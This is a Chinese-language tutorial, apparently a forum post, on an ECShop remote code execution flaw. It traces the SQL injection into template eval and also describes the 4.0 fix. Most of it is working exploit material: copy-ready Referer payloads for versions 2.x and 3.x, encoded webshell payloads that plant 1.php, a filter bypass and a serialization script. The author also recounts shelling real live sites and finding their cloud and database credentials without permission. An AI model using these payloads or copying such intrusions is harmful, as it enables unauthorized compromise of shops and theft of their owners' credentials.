漏洞概述

　　ECShop的user.php文件中的display函数的模版变量可控，导致注入，配合注入可达到远程代码执行。攻击者无需登录站点等操作，可以直接远程写入webshell，危害严重。

漏洞评级

　　严重

影响范围

　　ECShop全系列版本，包括2.x,3.0.x,3.6.x等。

漏洞分析

0x01. SQL注入

　　先看 ecshop/user.php:302

　　$back_act 变量来源于 HTTP_REFERER ，可控。

　　Ecshop 使用了 php 模版引擎 smarty ，该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值，display()函数用于显示模版。smarty运行时，会读取模版文件，将模版文件中的占位符替换成assign()函数传递过来的参数值，并输出一个编译处理后的php文件，交由服务器运行。

　　在：ecshop/includes/init.php:169文件中创建了Smarty对象cls_template来处理模版文件，对应的文件是includes/cla_template.php，如下图：

　　我们再看 assign函数：ecshop/includes/cls_template.php：70

　　assign函数用于在模版变量里赋值。

　　display 函数：ecshop/includes/cls_template.php：100

　　从函数来看，首先会调用 $this->fetch 来处理user_passport.dwt 模板文件，fetch() 函数中会调用 $this->make_compiled 来编译模板。 make_compiled 会将模板中的变量解析，也就是在这个时候将上面 assign 中注册到的变量 $back_act 传递进去了，解析完变量之后返回到 display 函数中。此时 $out 是解析变量后的html内容，判断 $this->_echash 是否在 $out 中，若在，使用 $this->_echash 来分割内容，得到 $k 然后交给 insert_mod 处理。

　　 user_passport.dwt 模版文件内容：

　　来看看 _echash 是啥，此文件28行：

　　由于 _echash 是固定的，不是随机生成的。（2.7版本的 _echash 值为 554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的 _echash 值为 45ea207d7a2b68c49582d2d22adf953 ）所以 $val 内容可控！

　　跟进 insert_mod()函数，此文件1150行：

　　$val 传递进来，先用 | 分割，得到 $para 和 $fun ，$para 进行反序列操作，insert_ 和 $fun 拼接，最后动态调用 $fun($para) 。函数名部分可控，参数完全可控。接下来就是寻找以 insert_ 开头的可利用的函数了，在 ecshop/includes/lib_insert.php 有一个 insert_ads 函数，正好满足要求。

　　最后来看动态内容函数库中的 insert_ads() 函数：ecshop/includes/lib_insert.php：136

　　可以看到这里执行了SQL语句，而 $arr['id'] 和 $arr['num'] 这两个参数正是我们传进来的数组中的内容，参数可控，而且没有作任何过滤，就造成了SQL注入漏洞。

payload：
　　Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}

其数据库查询语句为：

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecsshop2`.`ecs_ad` AS a LEFT JOIN `ecsshop2`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1537322291' AND end_time >= '1537322291' AND a.position_id = '1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -

0x02. 远程代码执行

　　接着，程序会调用模板类的 fetch() 函数：ecshop/includes/lib_insert.php：215

　　在 user.php 中调用 display ，然后调用 fetch 的时候传入的参数是 user_passport.dwt ，而在此处传入的参数是 $position_style 。向上溯源，发现是 $row['position_style'] 赋值而来：ecshop/includes/lib_insert.php：176

　　而 position_style 是SQL语句查询的结果，结果上面这个SQL注入漏洞，SQL查询的结果可控，也就是 $position_style 可控。要到 $position_style = $row['position_style']; 还有一个条件，就是 $row['position_id'] 要等于 $arr['id'] 。

　　并且构造SQL注入时，这段SQL操作 ORDER BY rnd LIMIT 1 部分换行了截断不了,所以需要在id处构造注释来配合num进行union查询。

　　那么id传入 '/*， num 传入 */ union select 1,0x272f2a,3,4,5,6,7,8,9,10– - 即可绕过这两个问题。

数据库查询语句为：SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROMecsshop.ecs_adAS a LEFT JOINecsshop.ecs_ad_positionAS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -;

　　之后 $position_style 会拼接 'str:' 传入 fetch 函数。

　　追踪 fetch() 函数：ecshop/includes/cls_template.php：135

　　因为之前拼接 'str:' 了，所以 strncmp($filename,'str:', 4) == 0 为真，然后会调用危险函数 $this->_eval ，这也就是最终触发漏洞的点。但是参数在传递之前经过了 fetch_str 方法的处理，跟进： ecshop/includes/cls_template.php:281

　　第一个正则会匹配一些关键字后置空，主要看最后的返回正则：
　　return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

　　这个正则是将 $source 的值交于 $this->select() 函数处理。例如， $source 的值是 xxx{$abc}xxx ，正则捕获到的 group 1 就是 $abc ，然后就会调用 $this->select("$abc") 。

　　跟进 select() 函数： 本文件368行

　　当传入的变量的第一个字符是 $ 时，会返回由 php 标签包含变量的字符串，最终返回到 _eval() 危险函数内执行。在返回之前，还调用了 $this->get_var 处理，跟进 get_var： 本文件548行

　　当传入的变量没有 .$ 时，调用 $this->make_var ，跟进make_var() ： 本文件671行

　　在这里结合 select 函数里面的语句来看， <?php echo $this->_var[' $val '];?> ，要成功执行代码的话， $val 必须要把 [' 闭合，所以payload构造，从下往上构造。 $val 为 abc'];echo phpinfo();//； 从 select 函数进入 get_var 的条件是第一个字符是 $ ，所以payload变成了 $abc'];echo phpinfo();//； 而要进入到 select ，需要被捕获，payload变成了 {$abc'];echo phpinfo();//} ，这里因为payload的是 phpinfo() ，这里会被 fetch_str 函数的第一个正则匹配到，需要变换一下，所以payload变为 {$abc'];echo phpinfo/**/();//} 。到这里为止，php 恶意代码就构造完成了。

　　结合之前的SQL注入漏洞，最终执行恶意代码的payload为：

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

0x03. ECShop3.x

　　简单讲一下3.x版本吧。

　　在ECShop3.x版本中，添加了一个 includes/safety.php 文件，专门用于消除有害数据，它的正则会匹配到 set、 concat 、information_schema、 select from 等语句。暂时没有找到可绕过的SQL语句，但是命令执行还是可以绕过的。因为我们之前的payload经过编码，这样就绕过了正则匹配。现在唯一能匹配到的就是 union select 语句，我们可以同时利用 $arr['id'] 和 $arr['num'] 两个参数，将 union 和 select 分开传递即可绕过正则检测。

漏洞复现

　　本次复现的是ECShop_V2.7.3，打包源码ECShop_V2.7.3_UTF8_release1106.rar（提取码：2yk1）。ecshop2.7.3是在php5.2环境下开发的老网店系统了，现在很多服务器环境已经升级为PHP5.3或php5.4甚至更好的了，那么在php5.3以上版本的服务器环境中运行出现必然出现很多兼容问题，推荐2篇解决文章：1、2。

　　phpinfo()：

　　webshell：

　　不想本地搭建环境的朋友，推荐两个在线漏洞环境，但是为了更深刻的了解其原理与学习，建议本地搭建调试分析。

　　在线环境vulnspy

　　在线环境vulhub

EXP与一个小脚本

2.x

phpinfo():

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

webshell:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

　　会在网站根目录生成1.php，密码：1337

3.x

phpinfo():

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

webshell:

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

　　会在网站根目录生成1.php，密码：1337

小脚本

　　下面给出一个序列化的php脚本（第9个位置就是你想要的）：

<?php
$arr=array('num'=>'*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79776E50443977614841675A585A686243676B58314250553152624F546C644B543867506963702729293B2F2F7D787878,10-- -','id'=>'\'/*');
echo serialize($arr);
?>

批量扫描检测工具

　　一款采用C#开发的扫描工具，专门扫描EcShop < 4.0 远程代码执行漏洞，1万个网站只需要30秒左右就能完成了。

EcShop_RCE_Scanner

漏洞修复

　　目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复：

　　看到 ecshop4/ecshop/includes/lib_insert.php

　　可以看到，将传递进来的 $arr[id] 和$arr[num] 强制转换成整型，这样就没法利用这个漏洞了。

　　另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁，相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

实战与提权

　　随便找了个2.7.3和3.0.0的站。直接用exp就能getshell，像本地搭建的一样。

　　最近听老师说搞安全的最高境界其实是社会工程学。我在进数据库看到加密后的密码，知道加密方式后，搞了很久还是解不出来后台密码，室友在旁边花了几分钟当场把密码猜出来。所以说，最牛逼的是一口能猜出密码，哪还要搞那么多花里胡哨的东西哦~

　　有新站：

　　有老站:

　　新站刚建就爆漏洞，老站还在更新内容，有点意思。

　　直接把很重要的东西写在一个稍微隐蔽点的地方，还是被我翻到了，比如阿里云账号密码，数据库账号密码。

　　而且他的密码还都几乎都是是弱口令，真是让人深思。

关于提权

　　哈哈，暂时没找到方法。小白也才开始学提权，说出来其实是想有大佬能指点一二，等提权了再更新这一部分吧。

　　不能执行命令，有读写权限。

参考资料

http://ringk3y.com/2018/08/31/ecshop2-x代码执行

ECShop 0day 的堕落之路

关于ECShop前台注入和getshell漏洞的一些思考

大家有任何问题可以提问，更多文章可到i春秋论坛阅读哟~